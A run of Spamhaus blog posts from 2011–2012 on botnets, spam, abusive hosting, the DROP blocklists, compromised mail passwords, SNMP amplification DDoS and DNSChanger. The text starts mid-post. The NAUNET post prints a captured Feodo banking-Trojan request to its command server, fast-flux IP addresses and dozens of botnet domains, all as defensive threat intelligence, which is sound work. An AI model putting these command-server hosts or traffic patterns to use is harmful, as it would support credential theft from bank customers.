EDROP on your network routers, and then denying all traffic from or to those listed IP addresses. The text-version of these lists is available free-of-charge. Spamhaus also offers a BGP feed (BGPf) for an annual fee. Spamhaus DROP list: http://www.spamhaus.org/drop/drop.txt Spamhaus EDROP list: http://www.spamhaus.org/drop/edrop.txt Spamhaus DROP/EDROP listing policy: http://www.spamhaus.org/drop Spamhaus BGP feed (BGPf): http://www.spamhaus.org/bgpf") Geo-specific customer handling Frequently, small or medium sized hosting providers accept business from foreign customers without any limitation. Such providers are likely to be overwhelmed with fraudulent sign-ups, especially when they open for business or add a new VPS or cloud service. Criminals want to test how good or bad your abuse handling is. So -- before you start accepting business from foreign customers -- please be sure that you have sufficient abuse expertise and resources to deal with the increase in fraudulent sign-ups. If you deal with the initial spate of sign-ups quickly and effectively, before long the criminals will give up on you and move to a less prepared and knowledgeable service provider. While many companies offer hosting with monthly billing, you might want to require foreign customers, especially customers from countries with high rates of online fraud and abuse, to sign up and pay for at least 6-months of service. If you also require a payment method that is not easily reversible for the first payment (such as wired funds or a cleared check), cybercriminals will usually avoid you. They do not want to pay for six months of service when they know that you will terminate their accounts as soon as you realize what they are doing. In extreme cases, you might also demand a scanned copy of a customer's passport. Several ISPs are requiring that for a few countries that have extremely high rates of fraud and abuse. However, be aware that some cybercriminals actually use stolen and forged documents to circumvent such security checks. Abuse Desk Response Time While one part of a hosts responsibility is to keep cybercriminals away, the second part is to react quickly to abuse that gets past preventive measures. An understaffed and overwhelmed abuse desk will make your service attractive to cybercriminals. Hosts should null-route a customer's IP address upon a credible report of spam, malware hosting, or botnet activity until they can contact the customer and find out what happened. In cases of fraudulent sign-up, the customer usually will not respond to emails or return phone calls. If you make sure that your AUP or ToS allows you to suspend a user's access and null-route traffic upon credible reports of abuse, you will not risk legal action because you shut down an abuser. Simply state in your AUP/ToS that you reserve the right to null route the customer's IP address if you get credible abuse reports (e.g. botnet hosting, spammer sites, malware DNS etc). Outsourcing fraud checks Some hosters do not have the time or resources to implement anti-fraud checks into their systems. There are companies that offer services that are specifically aimed towards these hosters. Spamhaus cannot endorse a specific service, but we strongly recommend using these if you're overwhelmed by criminals seeking hosting on your network. Conclusion While it takes effort to keep cybercriminals away from your network, it takes even more effort to deal with the effects when you ignore abuse and abusers then flock to your network. It requires considerably more resources (human and financial) to stop abuse on a network after having ignored abuse issues. It will also cost more, partly because the "business" that abusers bring to your network is short-lived and they usually pay by using stolen credit cards or other fraudulent means, and partly because cleaning up a poor reputation takes time during which legitimate paying customers may avoid your network. To avoid this situation, you must find a good balance between abuse prevention and abuse handling.

Spam botnets: The fall of Grum and the rise of Festi

The Spamhaus Team — Thu, 16 Aug 2012 09:31:32 GMT

In July 2012, FireEye in cooperation with other security organisations, such as Spamhaus, took down the Grum botnet. At that time Grum was the third largest spam-sending botnet. The event gained considerable media attention. Spamhaus worked on the takedown of the botnet by contacting the responsible ISPs that were hosting the botnet controllers. These controllers (also known as command & control servers or C&C's) were being used by the botnet herder to control the botnet and coordinate the spam campaigns. After the command and control infrastructure of the Grum botnet had been shut down, the cybercriminals tried to re-establish their spam operation by setting up new botnet controllers. Fortunately, FireEye informed Spamhaus without any delay so that we could help shut down the new controllers quickly as well. Since the takedowns, Spamhaus has continued to monitor the Grum botnet, which at present consists of only 150 to 500 active (spam sending) IP addresses per day. As they have no controllers, they are just operating in a true "zombie" manner. Hence, one month later we can consider the Grum botnet dead. A few weeks before the Grum botnet was taken down, we observed a huge increase in spam activities from another spam botnet, called Festi or Spamnost by some Antivirus vendors. In June 2012, the number of active (spamming) IP addresses detected as Festi by the Spamhaus XBL was quite small compared to Grum. However, the threat landscape change rapidly by the end of June, when Festi began to show its real face. The chart below shows what had happened: Festi vs Grum as seen by Spamhaus XBL Since the beginning of July, the Spamhaus XBL has seen a huge increase in Festi spamming activities. At the peak, during one 24-hour period the XBL detected nearly 300,000 IP addresses that were infected with Festi, out of a total of 1-million that were infected with some sort of spam-sending bot. We noticed that the sheer volume of Festi spam even overwhelmed spam detection processe at some security organizations. Since Festi started to send greater volumes of spam, it and Cutwail have been fighting for the #1 rank in the tally of the world's biggest spam botnets. The chart below compares Festi's spam activities to those of Cutwail: Festi vs Cutwail as seen by Spamhaus XBL The chart shows that Grum is quite dead, but Festi has already replaced the "missing" Grum spam. As Spamhaus' mission is to protect internet users from spam email, we will continue to monitor spam sending botnets worldwide and will provide reliable protection against this threat with Spamhaus data. In addition, Spamhaus' BGP feed (BGPf) provides protection against many kinds of botnet controllers, including those used to send spam. References: Spamhaus Exploits Block List (XBL) About Spamhaus FireEye: Grum, World's Third-Largest Botnet, Knocked Down FireEye: Grum Recap FireEye: Grum - The Money Factor Symantec: Trojan.Spamnost Additional reading: Grum: Inside The Takedown Of One Of The World’s Biggest Spam Networks* Rise and Fall of the Giant Grum Botnet* How the world's largest spam botnet was brought down* Huge spam botnet Grum is taken out by security researchers* Top Spam Botnet, “Grum,” Unplugged* Inside the Grum Botnet* Grum Botnet Bigger and More Complex Than Suspected* Could end of email spam be in sight after collapse of Grum botnet?* RSA Conference: Botnet takedowns require people, police and products

Spamhaus Releases BGP feed (BGPf) and Botnet C&C list (BGPCC)

The Spamhaus Team — Tue, 12 Jun 2012 19:49:49 GMT

Geneva, 12 June 2012 Today the Spamhaus Project announces the release of a new service -- the Spamhaus BGP feed (BGPf). The BGPf serves three Spamhaus lists by using the Border Gateway Protocol (BGP). It is intended to be used primarily by Internet Service Providers (ISPs), web hosting providers, and network service providers (NSPs) in their routers to drop bad traffic at the edge of their networks. The Spamhaus BGPf is currently serving three lists (communities): The Spamhaus Don't Route Or Peer List (DROP) NEW:* The Spamhaus extended DROP List (EDROP) NEW:* The Spamhaus Botnet C&C List (BGPCC) While the Spamhaus DROP list is already widely known and used, the EDROP and BGPCC lists are new. Spamhaus has just launched these lists as of today. You can find links to the listing policies and FAQ pages for each of these lists at the end of this article. Spamhaus Botnet C&C List (BGPCC) In 1998 when the Spamhaus Project was founded, the Internet was transitioning from the early commercial era, when spam was a problem consisting of a few unsolicited emails a day for most email users, to the earliest professional spam gangs. In subsequent years some companies adopted spam as a marketing tool, turning what had been a fringe activity (spamming) into a cash generator and vastly increasing the absolute volumes of spam on the network. Spam gangs responded to the influx of money by adopting techniques to avoid direct blocking and filtering so that the spam that they sent would be delivered to users. Spam flooded user inboxes, drowning out email that users wanted, and threatening to render email useless for a large number of users. Spamhaus adopted Paul Vixie's realtime blocklist (RBL) technology and developed the original Spamhaus Blocklist (SBL). In time this blocklist was joined by other blocklists targeted at different spam issues. Over the years Spamhaus became a leading provider of antispam blocklists. Currently considerably in excess of a billion mailboxes worldwide use Spamhaus products in their antispam configurations. Today email spam is still one of the biggest problems faced by users of the internet. However, other types of messaging abuse have become increasingly important, and abuse of other Internet-based technologies has increasingly become an intrinsic part of spam operations. Advance Fee Fraud (419) scams, phishes, and other criminal endeavors motivate much of the spam that is sent at present. Malware-infected servers and user devices and botnet command and control (C&C) nodes and members (bots) send much of that spam or host services that help spammers benefit from the spam. To cope with these new spam vectors and tools, today Spamhaus is offering a new tool for network providers. We are proud to announce the Spamhaus Botnet C&C list (BGPCC). The list contains IP addresses which Spamhaus has identified as hosting servers operated by cybercriminals and used to control malware-infected computers. The Botnet C&C list is available exclusively through the Spamhaus BGPf. It is intended for Internet Service Providers (ISPs) and network providers to import into router configurations, to block C&C nodes from contacting bots on their networks and thereby protecting both their customers and the Internet from botnet traffic. Spamhaus extended DROP List (EDROP) In addition to the Spamhaus Botnet C&C List, today Spamhaus launches the extended DROP (EDROP) list. EDROP has a listing policy similar to that of the DROP list, that contains networks which are being operated by cybercriminals. The difference is that, while DROP only lists networks that are direct allocations from the RIR, EDROP contains only bad networks that are sub-allocations from another network. Both lists are available as plain text files and via the BGPf. References Spamhaus BGPf") Spamhaus BGPf FAQ Spamhaus DROP Spamhaus DROP FAQ Spamhaus EDROP About The Spamhaus Project

Spamhaus joins World IPv6 Launch day with IPv6 enabled DNSBL mirrors

The Spamhaus Team — Wed, 06 Jun 2012 11:55:11 GMT

On 6 June 2012 many major internet service providers (ISPs), home networking equipment manufacturers, and web companies around the world are uniting to redefine the global Internet and permanently enable IPv6 for their products and services. The Spamhaus Project endorses actions such as these to push forward the growth of the modern internet. We feel IPv6, as with DNSSEC and Secure BGP, are major steps in keeping the technology of the internet current, expandable and more secure. But now for a bit of truth-telling. Spamhaus has been a bit ahead of this curve on IPv6. We set up permanently enabled mirrors for our DNSBL data on IPv6 space in February of 2008! Any small to medium volume email receivers, ISPs or companies can query our zones (currently, the zones are the same IPv4 IP-address & domain blocklist data served on the IPv4 mirrors) by looking up our zone names' AAAA records, hostnames are mapped to IPv6 addresses by AAAA resource records called \"quad-A records\"") from their IPv6 networks and send queries via this path.

Spam through compromised passwords: can it be stopped?

The Spamhaus Team — Wed, 09 May 2012 21:58:00 GMT

Any account on a legitimate mail server is a valuable resource to a spammer or cybercriminal because it gives access to a server that is unlikely to be blocked from sending email. A spammer can use an account on a legitimate mail server to spam, and reach many more people than if he sent email from an IP that does not host a legitimate mail server. A cybercriminal can use an account on a legitimate server to send spam, host web sites, or provide other services that contribute to the distribution of malware, phishes, and scams such as the Nigerian "419" scams that we are all familiar with. The volume of criminal spam that is sent through compromised user accounts on legitimate mail servers that use SMTP AUTH authentication, and should theoretically be secure, has grown precipitously in the past two or three years. It is currently a major vector for criminal spam. Worse, it is difficult to block this spam without also blocking email from legitimate users whose email is also sent from the same mail servers. Companies and ISPs can take only limited security measures on mail servers that carry important business email. The automated blocking methods that many ISPs use to detect and block infected machines on residential/consumer networks cannot be used on business networks because they risk blocking legitimate email and can cause major service disruptions. Spamhaus and other blocklists are also limited in the measures they can take to block this spam because of the risk of false positives. While Spamhaus blocks low traffic mail servers when they are detected sending a significant amount of spam, we are usually unwilling to list a busy outbound mail server because, even when one account on it is spamming, it also sends large volumes of legitimate email. We list such servers only when the spam volumes are heavy and other measures, such as emergency notifications to the ISP or company, have failed for a period of hours or days to halt the spam. Meanwhile, the spammer abusing the server can continue to bombard Internet users with malware, phish, scams, and other types of high-volume spam. We all need a solution, and we need it quickly. HOW USER ACCOUNTS ARE COMPROMISED There are three major avenues that criminals use to obtain user logins and passwords on legitimate mail servers: guessing, phishing, and malware. The following sections discuss each in detail. Method 1: Guessing* Many email users use insecure passwords. Weak passwords leave the door to the mailserver that hosts the user's email account open to cybercriminals and spammers. It is as if the user parked his automobile in a public location, and then left the doors unlocked and the keys in the ignition. By now most users have repeatedly seen warnings against using their logon, their first or last name, their birthdate, their phone number, or any other personal information as their password. Most users have heard that passwords such as "password", "test", the infamous "123456", or a simple word that can be found in the dictionary are also insecure. Many users ignore this information, however, leaving their accounts vulnerable to the gangs of cybercriminals and hackers who run automated programs to guess weak passwords. At present, many weak passwords can be cracked in a matter of minutes. Method 2: Phishing* Cybercriminals deceive users into revealing the logon and password to their email accounts in exactly the same way as they trick users into revealing online banking credentials or credit card information. Normally users are sent a fake email from their ISP (or IT department of their company or educational institution) that requests them to log onto their account at the supplied URL. The URL points, not to the real logon page, but to a fake page that is carefully designed to look like the real logon page. The fake page then transmits the login and password to the criminal. This is often due partly to failure to educate users in proper online security. Nobody should ever trust an email that claims to come from their bank, credit card issuer, their ISP or any other company where they have a private account. Users should NEVER follow links or fill out forms found in such an email message. By 2012, all users should know these basic security precautions. That so many do not and phishing still works with them suggests to us, not that education efforts have been lacking, but that some users are unable or unwilling to practice basic security online. Unfortunately not all types of phishing require an uneducated, careless or gullible user. Malware on a compromised personal computer can also change the DNS resolution of the hostname of a banking, credit card, or ISP site where users log on, sending the user to a fake logon page even when they type the URL directly into the browser or use a bookmark to access it. Practicing good internet security reduces the chances that a user will be deceived; it does not eliminate them. Method 3: Malware* Finally, cybercriminals can discover a user's logons and passwords by infecting the user's personal computer with a type of malware called a keystroke logger. A keystroke logger logs each thing the user types, including logons and passwords when the user logs on to email, to his bank account, or to his credit card issuer's customer portal. The malware then transmits this information to the cybercriminal. Some countries, such as Japan, pursue the issue of malware infection aggressively through public-funded projects that, in cooperation with ISPs, detect malware-infected computers and block them until their owners have been notified and the malware removed. Most countries and most ISPs do not pursue malware infection aggressively, however, which results in high infection rates. It is obvious that malware capable of carrying on various criminal activities, such as password stealing, will continue to be a problem for quite a while. WHY CURRENT EFFORTS TO CONTROL THE DAMAGE ARE INEFFECTIVE Unfortunately, while the problem of compromised passwords often starts with user error, it doesn't end there. Those responsible for managing mail servers and preventing them from being used to send spam are also responsible, and so are the ISPs providing connectivity to those servers. In our correspondence with mail server administrators about spam sent through compromised user accounts, Spamhaus has noticed that - despite our FAQs and warnings in bold, red and (!) blinking characters on the SBL listing page - many system administrators do not even consider the possibility of a compromised account when spam is sent through their mail server. Instead, they often assume that a malware infection must be responsible, and immediately scan the server and all the client PCs and laptops with their antivirus software. If their virus scanning software finds nothing (as is often the case), the system administrator often assumes that the SBL listing was a mistake. If some malware is detected and removed, system administrators often assume that the problem is fixed. When additional spam is detected from the server, the system administrators are often at a loss as to what to do, and try a number of ineffective and often extreme measures to stop the spam. We have even seen cases where the system administrator wipes the mail server hard disk and reinstalls the operating systems and software from original media while failing to solve the spam problem. Why? They kept the old password file without forcing users to change their passwords, and a compromised user account was the problem all along. As with many other issues, educating system administrators about compromised passwords and documenting how passwords are compromised and what to do about it might help alleviate the problem in the long run. In our experience, though, these measures will not prevent compromised passwords. First, some of what is required to prevent easy password compromises is not popular with users. Without strong buy-in and support from management, a system administrator simply cannot implement appropriate password complexity rules. The issue is not technical, but human. Means exist to enforce proper password complexity, but some users who "outrank" the system administrator in the company hierarchy will strenuously resist any requirement to use secure passwords. The issues increase with implementing even stronger measures, such as two-factor authentication, client certificates, and so on. Second, the Internet is still expanding to new parts of the world, where technical expertise is scarce and language barriers are often present. ISPs in these regions are often unaware that, to solve security issues, they must often work together with customers and with organizations whose function is to make the Internet more secure. This failure to involve users and security organizations means that the often-inexperienced system administrators of small business servers are left completely on their own when a spammer compromises their mail system. The system administrator must understand how the cybercriminal got access to the mail server, find the user account that was compromised, and deactivate it until the user changes the password, all without much support or help. Until the system administrator determines which user account was compromised and deactivate or secure the account, their mail server acts as a powerful spam cannon, often with surprisingly high intensities thanks to good hardware and bandwidth. Fixing the problem usually takes several days, and we have often observed compromised mail servers continuing to emit spam for weeks or even months. For these reasons, Spamhaus views efforts to document how to detect accounts with compromised passwords and secure those accounts as a good investment for the future, but believes that these efforts are unlikely to to help prevent or quickly resolve spam problems caused by compromised user accounts in the short term. TOWARD A NEW PARADIGM: ACCEPTING COMPROMISED PASSWORDS AS A FACT OF LIFE The paradigm that all passwords "must always" be secure, so that even a single compromised account on a server may have catastrophic consequences, is simply inadequate to today's reality. It is a bit like making cars without seat belts or air bags because accidents would not happen if everyone just drove safely and followed the rules. We should move to a new, more realistic paradigm, recognizing as a fact of life that a few passwords on any mail server may be in the hands of cybercriminals. Recognizing this means that mail server software must be equipped to deal with and mitigate damage from compromised passwords as a normal part of everyday operation. Previous experience with similar situations, such as the spam problems caused by open relays between 1997-2002, suggests that software developers may hold the key to solving the spam problem caused by compromised user passwords. In particular, those software companies and developers who are responsible for developing and maintaining Mail Submission Agents (MSAs), the component of a mail server system that receives emails submitted for distribution by users, could reduce this spam vector to insignificance if they develop a technical means of detecting compromised accounts and blocking them from sending email until they are secured. Spamhaus believes that the currently common approach of letting authenticated users send unlimited or extremely large amounts of email is a serious security hole. We suggest that it is past time that MSA developers regarded this as a serious security issue, and issued security patches for all existing supported products that allow emission of massive outgoing email from authenticated users. In particular, we suggest that MSA software developers focus on the following: Implement default per-account limits on numbers of outgoing emails. By default, an authenticated user account should be allowed to send only a relatively small amount of email in a given time period. Most users never send thousands of emails per day (or hour), as a compromised account often does. A default limit of one to two hundred emails per day is more than enough for most users, and would render their accounts largely useless to cybercriminals. Limits should be configurable on a per-user basis, so that those few users who need to send more email can be explicitly allowed to do so. Log the authenticated user account for each email sent. When authenticated email is sent, the account name used to authenticate should always be included in the SMTP protocol logs. A few popular mail servers, such as Microsoft Exchange, require the system administrator to modify the default log settings to do this: by default the account name is not logged. This should be fixed ASAP: it is a design mistake that makes diagnosis and cure much more difficult. Include the authenticated user account name in the email headers. MSA software should include the name of the user account used to authenticate in the email header, so that the system administrator can extract it from a spam sample. A configuration option should allow the authenticated user account name to be encrypted for privacy as needed. Monitor the mail flow from each account! Mail flow should be monitored per-account, and anomalous emission peaks from a single account should generate an alarm to system administrators as soon as they occur. Check for and reject weak passwords. Mail servers should inspect passwords, and refuse to accept extremely simple passwords. Even if components of the operating systems may be already in charge of password strength checking, MSA software should independently check passwords used to authenticate outgoing email. Rate limit authentication attempts to prevent password cracking. MSA, POP, and IMAP software should monitor authentication requests for signs of attempts to guess passwords, and slow down or entirely block IP addresses that try to access an account using several different passwords, or access different accounts using the same passwords or password patterns. In the case of IPv6 access, this measure should probably be applied to /64 networks rather than to individual IPv6 addresses. Spamhaus believes that, if all major mail server MSAs would implement these changes and backport them to popular previous versions of the software via security patches, spam sent through compromised user accounts via SMTP authentication could be virtually eliminated from sites that use the new MSA software, and reduced significantly on the Internet as a whole within the next three to five years.

Snake oil spamming chiropractor gets cracked

The Spamhaus Team — Thu, 03 May 2012 00:04:04 GMT

Long time ROKSO-listed spammer Brian "Dr. HGH" McDaid is finally going to pay for his crimes. This week, in a Philadelphia court, US federal court Judge Stewart R. Dalzell sentenced McDaid to two years in prison and a year of probation. McDaid and his "Sili Neutraceuticals" were a real pain in the inbox starting in 2005 when he and his partners flooded the world with spam touting "cures" involving HGH, green tea, hoodia & other unproven & potentially dangerous substances. The danger in most cases comes from people who believe the outrageous claims and neglect proven treatments. After tracking this operation for some time and documenting it in his ROKSO database record, Spamhaus was contacted by US investigators and shared all we had with them on McDaid's operation and the other related spammers. In 2007, the FTC civilly sued him for unfounded claims about his hoodia weight-loss and HGH anti-aging products. They were able to get a large monetary judgement against him and confiscated most of his ill-gotten gains. In March, 2011, he was indicted by a Philadelphia grand jury on criminal CAN-SPAM charges to which he later pled guilty. Spamhaus would like to extend it's heartfelt thanks to the FTC attorneys who managed the investigation; Steve Wernikoff & Marissa Reich; and to the federal prosecutors who worked stop McDaid and his partners from abusing the internet's users and profiting from their crimes. Further reading: Judge orders end to weight-loss, anti-aging spam operation Judge Agrees with FTC, Orders Spammers to Pay More Than $2.5 Million and Stop Selling Bogus Weight-Loss and Anti-Aging Products Government trial-expert's blog about the criminal proceedings

Russian registrar NAUNET knowingly harbours Cybercriminals

The Spamhaus Team — Thu, 22 Mar 2012 10:22:15 GMT

In November 2011, new terms and conditions (T&C's) for registering .ru domains were put out by the Coordination Center for the Top Level Domain RU (cctld.ru). The following paragraphs of the new T&C are important to Spamhaus' mission to fight against spam and cybercrime: > 5.7. The Registrar may terminate the domain name delegation upon the receipt of a substantiated petition from an organization indicated by the Coordinator as a competent one to determine violations in the Internet, should the petition contain information about the domain’s information addressing system being used for: 1. receipt from third parties (users of the system) of confidential information by misleading these persons regarding its origin (authenticity) due to similarity of the domain names, design or content of the information (phishing); 2. unauthorized access to third parties’(users, visitors) information systems or for infecting these systems with malware or taking control of such software (botnet control); [...] > Reference: The Terms and Conditions of Domain Names Registration in domains .RU It isn't a secret that dealing with some of the Russia-based domain name registrars is problematic. However, we at Spamhaus hoped that the new conditions for the .ru TLD would raise the security awareness of registrars who provide domain names within .ru. During the past few months Spamhaus has tried to shut down several hundred .ru domains. Most of these domain names where registered through NAUNET and were associated with professional spammers or related to cybercrime crime, such as botnet operators. While NAUNET had suspended several token malicious domain names that we reported to them in November 2011, in early 2012 NAUNET started to demand more "evidence". It appears as if NAUNET has changed their mind about their takedown procedure and started to accuse Spamhaus of incompetence when submitting evidence regarding fraudulent domain names. A good example for NAUNET's behaviour is a set of malicious botnet domains, registered by cybercriminals and used to control computers infected with Feodo. Feodo is a banking Trojan used to steal money from online banking accounts (currently targeting many banks including Bank of America, UBS and HSBC). The involved malware family is quite sophisticated, since it is using a domain name algorithm (DGA) to calculate the current botnet domain which the Trojan will use to drop the stolen credentials and receive commands from the botnet herder. Sample Feodo botnet traffic: POST /rwx/B1_3n9/in/ HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US) Host: nolwzyzsqkhjkqhomc.ru:8080 Content-Length: 101 Connection: Keep-Alive Cache-Control: no-cache HTTP/1.1 200 OK Server: nginx/1.0.10 Date: Wed, 21 Mar 2012 XX:XX:XX GMT Content-Type: text/html; charset=CP-1251 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.2.17-1.1 Vary: Accept-Encoding The cybercriminals are using a FastFlux botnet consisting of hijacked servers: DNS A records for nolwzyzsqkhjkqhomc.ru: | | | | | --- | --- | --- | | IP address | SBL record | Hostname | | 112.78.124.115 | SBL131211 | | | 94.20.30.91 | SBL130512 | | | 188.40.66.199 | SBL133730 | static.199.66.40.188.clients.your-server.de. | | 91.121.91.111 | SBL132796 | ns28121.ovh.net | | 178.162.154.214 | SBL133731 | hosted-by.leaseweb.com | | 85.214.204.32 | SBL131212 | h1886128.stratoserver.net | | 91.121.7.5 | SBL132800 | cirrus.neusta.fr | | 83.170.91.152 | SBL129399 | freesweetsite.com.au | | 79.101.30.15 | | | | 124.124.212.172 | SBL130513 | | $ dig +short nolwzyzsqkhjkqhomc.ru NS ns2.nolwzyzsqkhjkqhomc.ru. ns1.nolwzyzsqkhjkqhomc.ru. ns6.nolwzyzsqkhjkqhomc.ru. ns17.nolwzyzsqkhjkqhomc.ru. ns13.nolwzyzsqkhjkqhomc.ru. ns7.nolwzyzsqkhjkqhomc.ru. ns8.nolwzyzsqkhjkqhomc.ru. ns10.nolwzyzsqkhjkqhomc.ru. ns16.nolwzyzsqkhjkqhomc.ru. ns11.nolwzyzsqkhjkqhomc.ru. ns3.nolwzyzsqkhjkqhomc.ru. ns4.nolwzyzsqkhjkqhomc.ru. ns9.nolwzyzsqkhjkqhomc.ru. ns14.nolwzyzsqkhjkqhomc.ru. ns12.nolwzyzsqkhjkqhomc.ru. ns5.nolwzyzsqkhjkqhomc.ru. ns15.nolwzyzsqkhjkqhomc.ru. Below is a list of Feodo botnet domains Spamhaus has detected recently, all of which are registered through NAUNET. acamacookldaurglbh.ru amanarenapussyns.ru axwiyyfbraskytvs.ru caoodntkioaojdf.ru caskfhasaoipvma.ru caskjfhlkaspsfg.ru cdesikasktopt.ru cfeedlingpa.ru cgolidaofghjtr.ru cgoosjjdopola.ru cgunikqakklsdpfo.ru ciasamkbnavtknxiko.ru ciontooabgooppoa.ru cjhsdvbfbczuet.ru cjiahkhklflals.ru cjjasjjikooppfkja.ru ckjhasbybnhdjf.ru ckjsfhlasla.ru ckolmadiiasf.ru clkjshdflhhshdf.ru cnnvcnsaoljfrut.ru coajsfooioas.ru cojsdhfhhlsl.ru copsdifbnsasdf.ru cparabnormapoopdsf.ru cpojkjfhotzpod.ru cpokemnothviik.ru cpoodsangbkia.ru cruikdfoknaofa.ru cruoinaikklaoifpa.ru cserimankra.ru csoaspfdpojuasfn.ru cuqwuuiwrnmfo.ru dinamitbtzusons.ru fedikankamolns.ru gizosuxwpeujnykjye.ru hbirjhcnsuiwgtrq.ru hdylanfzmfngwbwxnc.ru hjpyvexsutdctjol.ru hngajjkuknzwdliqfj.ru imanuilletapchenko.ru jfhxihwykiuwfknoni.ru jokerbatmannow.ru kamarovoskorlovo.ru kblqegxrumlsrefvmb.ru kroshkidlahlebans.ru lzngllvmrbwdcpha.ru monikabestolucci.ru mvkrxumvbedbouiyfh.ru ngdvmtwodjjuovsnfj.ru nogasrakixerosima.ru opiumdlanaroda.ru porosenokpetya.ru qtdlnxbqfohcpwft.ru rdjdykfceprrqihpcm.ru rgglvwyzevqeijgnvm.ru rukobludsostazhem.ru samanodejannyjpins.ru samaragotodokns.ru skjwysujlpedxxsl.ru sumgankorobanns.ru taqlftbbztqnyngq.ru upjachkajasamns.ru vaopxjiaphevkfpqdo.ru vjcuiqecxaomkytb.ru vzhpiaswhqlswkji.ru wfyusepaxvulfdtn.ru wiwwkvjkinewgycb.ru xvmzegestulhtvqz.ru yhbyqwmrtqxvmpryon.ru zolindarkksokns.ru While any normal network security person would identify these domain names as clearly malicious, NAUNET refused to suspend these domain names and actually accused Spamhaus of incompetence after we submitted evidence that these domain names were being used by the botnet's owners. A quick search on the internet regarding these domain names reveals additional information published by Sophos. Our experience with NAUNET, as well as the experience of our partners, clearly shows that NAUNET is unwilling to suspend fraudulent domain names. Since its founding in 1998, Spamhaus has been working with ISPs, networks, domain name registrars and governmental organisations to fight against spam and to protect internet users from cybercrime. Unsurprisingly, the only complaints we get about evidence are from rogue networks or registrars. But Spamhaus is not alone in this. Organisations we work with have indicated that it seems to be NAUNET's "best practice" to accuse complainants of incompetence instead of terminating domains in accordance with its own T&C. In 2008 Spamhaus listed NAUNET on the Spamhaus Block List (SBL) for "knowingly providing spam support services" according to Spamhaus SBL policy. The evidence at that time of NAUNET's "unclean hands" was overwhelming as over 95% of the .ru domains registered with them were being used in spam. Reports also came to us from the "underground" cybercrime forums that NAUNET representatives were active in these forums promoting their "bulletproof domain" registrations. Those listings can be viewed here: Spamhaus also recommends that networks use our Don't Route Or Peer list to drop all traffic originating from or destined for NAUNET's IP address space. This will help protect end users from the activities of the cybercriminals to whom NAUNET persists in providing services. We can only hope that one day the true nature of NAUNET will come to light and the Russian domain regulators at the Coordination Center for the Top Level Domain RU will step forward and either sanction NAUNET, or better yet, put an end to this Russian registrar that knowingly harbours Cybercriminals. It may not be known to them, but this one registrar (and it's cybercriminal clientele) are doing great harm to the current and future worldwide usability of the .ru domain by legitimate Russian interests. The internet suffers when companies and networks blacklist an entire ccTLD, but it is now happening all over with .ru.

SNMP DDoS Vector - Secure Your Network NOW!

The Spamhaus Team — Fri, 23 Dec 2011 17:39:00 GMT

Spamhaus has observed a newer type of distributed denial-of-service attack (DDoS) which has only recently become popular among cybercriminals. In just the past month, several attacks using this method have been investigated by private security firms and law enforcement agencies. During December 2011, Spamhaus sustained an SNMP DDoS on the order of magnitude of the largest DDoS seen to date on the Internet. Our anti-DDoS resources allowed us to implement effective measures to mitigate this attack, and we are working with law enforcement and security industry partners to shut down the originators. This DDoS vector is similar to the older DNS Amplification Attack, but instead of DNS it uses Simple Network Management Protocol (SNMP) services to reflect and amplify a stream of UDP packets toward a DDoS target. The attacker's packets contain forged (spoofed) originating IP addresses, so that the SNMP server to which these packets are sent replies with a large UDP packet to the spoofed address, which belongs to the victim. The amplification effect of this vector can produce high traffic volumes from a relatively small input stream, effectively clogging the 'pipes' into the victim's server to produce denial of service. Mitigation is similar to other DDoS attacks: identify the bad packets (which tend to be large and fragmented, making identification reasonably easy), filter them out, and then firewall IP addresses that are emitting or reflecting these packets as far upstream from the victim IP addresses as possible. A knowledgeable and involved upstream host is invaluable. An ounce of prevention is worth a pound of cure and, as with so many things, networks can do a great deal to prevent damage to the Internet as a whole--and to their fellow networks in particular--by properly securing their own resources. Filtering malformed inbound packets ("ingress filtering") to stop spoofing-related DDoS has been "best current practice" since before year 2000, required per IETF BCP 38 as described in RFC 2827. Egress filtering (packets leaving your network) is also good practice, and is covered in SANS' Egress Filtering FAQ. Together, those practices alone would prevent this and several other types of DDoS attack, as well as various other attacks. A narrower but also effective way to prevent your network from participating in an SNMP DDoS is to firewall or otherwise secure your SNMP server. It should be used in conjunction with ingress/egress filtering. By allowing access to the SNMP server only from a small range of IP addresses which you control, you prevent your SNMP server from being fooled into sending information to a third party. Since SNMP information can also be used to map services inside your network, securing it properly protects your network from attacks as well as from being used to attack other networks. More about securing SNMP can be found here. Fix your ingress/egress filtering and secure your SNMP NOW!

Ghost Click/DNSChanger: Could ISPs have stopped it?

The Spamhaus Team — Tue, 15 Nov 2011 11:11:00 GMT

After the November 9, 2011 successful law-enforcement dismantling of a huge cybercrime network in an operation dubbed 'Ghost Click', questions were raised as to what Internet Service Providers (ISPs) could have been doing to protect their users, and the internet, from this botnet. So, could an ISP (or corporation, school, government or other autonomous network) have done something to help identify and protect an individual end-user on its network whose computer became infected with the DNSChanger malware distributed by the Rove Digital cybercrime gang? Spamhaus' answer to this is *YES*. | | | --- | | A heatmap of the Operation Ghost Click infected machine locations for 8 November, 2011, courtesy www.team-cymru.org | How could ISPs protect their users? By monitoring simple traffic patterns on their network or, if not that, by just blocking network traffic from their users to the known cybercriminal controlled areas of the internet. Let's first quickly discover how this botnet functioned. Rove Digital ran a sophisticated operation in which the DNSChanger malware changed the DNS settings on the victim's computers. As a result, innocent users were unknowingly directed to websites controlled by Rove Digital rather than to the pages they requested for a number of large web merchants, banks, and other companies with whom those users did business. The Rove Digital sites could look just like the real site, or they could do HTTP redirects on to the real landing page so that the user didn't know they'd been hijacked. The malware could and did also replace advertisements delivered by companies such as Google or Microsoft with ads from the Rove Digital gang promoting suspect products and services. DNS requests, as with all traffic from a connected user's computer, flow though their ISP's network before being routed onto the internet. At this stage ISPs have many options as to what they can do with the traffic. Obviously, snooping on customers with techniques such as 'deep packet inspection' is controversial and widely frowned upon, but protecting DNS does not require that. Hardware and software is available, and in fact run by many large ISPs, which allow the logging, blocking or re-routing of basic internet protocols such as DNS. Some ISPs currently use this technology to lock users to the ISP's own DNS servers no matter what the user--or DNSChanger malware!--may have set up. (Such 'DNS-filtering' is a technique which is also up for debate. 1,2) How could ISPs use this ability to protect users from the DNS hijacking? When Spamhaus, Trend Micro's Feike Hacquebord, and others first reported this threat some years ago, Spamhaus placed all IP address ranges controlled by Rove Digital into its DROP list. The DROP list ('Don't Route Or Peer List') is one of the best "known cybercriminal controlled areas of the internet" references one can use for protecting ones networks and users. It is successfully used in production at large hosting facilities as well as by corporate networks. It is also free for anyone or anyplace to download from Spamhaus and 